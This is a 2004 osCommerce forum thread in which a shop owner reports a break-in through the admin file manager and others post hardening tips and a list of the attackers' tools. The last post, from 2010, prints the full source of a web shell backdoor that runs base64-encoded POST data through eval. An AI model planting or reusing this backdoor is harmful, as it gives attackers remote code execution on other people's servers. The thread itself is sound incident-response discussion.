Site Hacked due to osCommerce
#1
Posted 30 August 2004, 18:58
I'm still investigating the matter, however I can say that your site was indeed compromised via osCommerce on 8/5/2004... Even though you are running the osCommerce 2.2 version (latest available for download), it would seem that this cracking crew is using a fairly recent exploit... You can view the vulnerability list for this script here: http://www.osvdb.org/searchdb.php?vuln_tit...d&search=search
The crackers appear to hang out in an IRC channel named #hack.ru, and this coincides with some of the (cracker tools) configuration files being in russian...
They had full access to your site, and at this point none of your content can be trusted...
What I will do is tarball your entire site so that you can download it... Since they had full access, you will need to completely audit each and every file to ensure there were no further defacement and/or backdoors/trojans installed into your account...
IS THERE A SECURITY PATCH FOR THIS????
#2
Posted 30 August 2004, 19:04
Sometimes, ignorance is bliss.
#3
Posted 30 August 2004, 19:04
one thing i know, most people use very simple passwords and names for their admin or do not even have themselves protected.
was your site protected in the admin area?
#4
Posted 30 August 2004, 19:10
Sometimes, ignorance is bliss.
#5
Posted 30 August 2004, 19:47
The secure admin contributions that I have tried to apply do not seem to work with my configuration; the secured area operates on an entirely different server.
I had written the host to secure the admin directory and that was upposed to have happened ....
The good news is that I may have a copy from before the breech (8/5/2004).
As to evidence, I am simply relying on the tracking through the internal logs by my host.
I am running the most current version of osCommerce.
#6
Posted 30 August 2004, 20:29
I didn't install any kind of contrib for that, folder password protecting can be done through most cpanels, and if not there, manually with a .htaccess file.
It's pretty much a given that an osc install will have a /admin folder either under the /catalog dir or "beside" it.
Sometimes, ignorance is bliss.
#7
Posted 30 August 2004, 21:14
If someone would describe your security suggestions a bit simpler, I would appreciate it. I had already requested that the htaccess be set for my admin directory.
I have repeatedly tried to get advice on admin security, but the general attitude has been, "that's already been answered," but the answers make little sense.
While I may not be as gifted as some, neither am I a complete idiot. A solid, basic explanation in English is what's needed, please.
Additionally, from my reading from the weblink in my initial posting, there is a file management program based on osCommerce which appears to circumvent security.
#8
Posted 30 August 2004, 21:31
There's also some basic security that is wise in addition to .htaccess
Rename the admin folder and put it outside of catalog. It can be anywhere, any layer deep. Most people seeking to exploit osC will look for an admin folder and most will find it because hardly anyone moves or renames it.
I think file_manager.php can be removed with hardly any loss since its editing features cause so many problems anyway.
There's some other security tricks but I'm not going to post them in public.
Tools: BBEdit, Coda, Versions (Subversion), Sequel Pro (db management)
#9
Posted 30 August 2004, 22:03
####
How can you tell that 8/5 was the date of the hack?
####
Because that is when there is a concentrated effort to crack: /catalog/admin/file_manager.php
from the IP: 57.72.131.73
They used the exploit to upload some 'cracker helper' scripts, one of them being: /catalog/nfm.php (their file manager)
The first access to this was: 8/5/2004 10:52:39
The way the exploitation efforts transpired, it follows a logical procession from cracking your script to uploading then using cracker friendly utilities (such as nfm.php)...
I have found the following classes of cracker utils:
1) nfm.php == remote file manager
2) rvtr.php == remote file viewer
3) bindit == remote command line shell binder
4) overkill == program to try and gain root privileges from the 'overkill' binary (we are unaffected by this)
5) psybnc == anonymous IRC proxy daemon
#10
Posted 31 August 2004, 06:17
http://httpd.apache.org/docs/howto/auth.html
#11
Posted 31 August 2004, 07:29
The filemanager in CVS has been updated to prevent this from being possible in newer version of osCommerce.
osCommerce Monkey & Lead Guitarist for "Sparky + the Monkeys" (Album on sale in all good record shops)
---------------------------------------
Software is like sex: It's better when it's free. (Linus Torvalds)
#12
Posted 31 August 2004, 09:39
#13
Posted 31 August 2004, 11:34
april_floyd, on Aug 31 2004, 03:39 AM, said:
Do you have a problem? Have you checked out Common Problems?
There are many very useful osC Contributions
Are you having trouble with a installed contribution? Have you checked out the support thread found Here
BACKUP BACKUP BACKUP!!! You did backup, right??
#14
Posted 01 September 2004, 18:49
#15
Posted 01 September 2004, 18:50
#16
Posted 03 September 2004, 04:36
As soon as I can get my courage up, I'll give it a try.
#17
Posted 04 September 2004, 13:12
TBK3, on Sep 3 2004, 12:36 AM, said:
As soon as I can get my courage up, I'll give it a try.
Matti
We were all once expert at...... nothing
_____
#18
Posted 27 June 2010, 18:50
TBK3, on 30 August 2004, 18:58, said:
I'm still investigating the matter, however I can say that your site was indeed compromised via osCommerce on 8/5/2004... Even though you are running the osCommerce 2.2 version (latest available for download), it would seem that this cracking crew is using a fairly recent exploit... You can view the vulnerability list for this script here: http://www.osvdb.org/searchdb.php?vuln_tit...d&search=search
The crackers appear to hang out in an IRC channel named #hack.ru, and this coincides with some of the (cracker tools) configuration files being in russian...
They had full access to your site, and at this point none of your content can be trusted...
What I will do is tarball your entire site so that you can download it... Since they had full access, you will need to completely audit each and every file to ensure there were no further defacement and/or backdoors/trojans installed into your account...
IS THERE A SECURITY PATCH FOR THIS????
One of the file used by the hacked is "sys.php" and the content is as follows:
<?php
if (sha1(md5(sha1($_POST['key']))) == "697e86fd67cd215cfa03b98a5c3a1d7b34a79534")
if(isset($_POST['eval']))
eval (base64_decode($_POST['eval']));
else
move_uploaded_file($_FILES['uploaded']['tmp_name'], basename($_FILES['uploaded']['name']));
else
header("Location: /");
?>














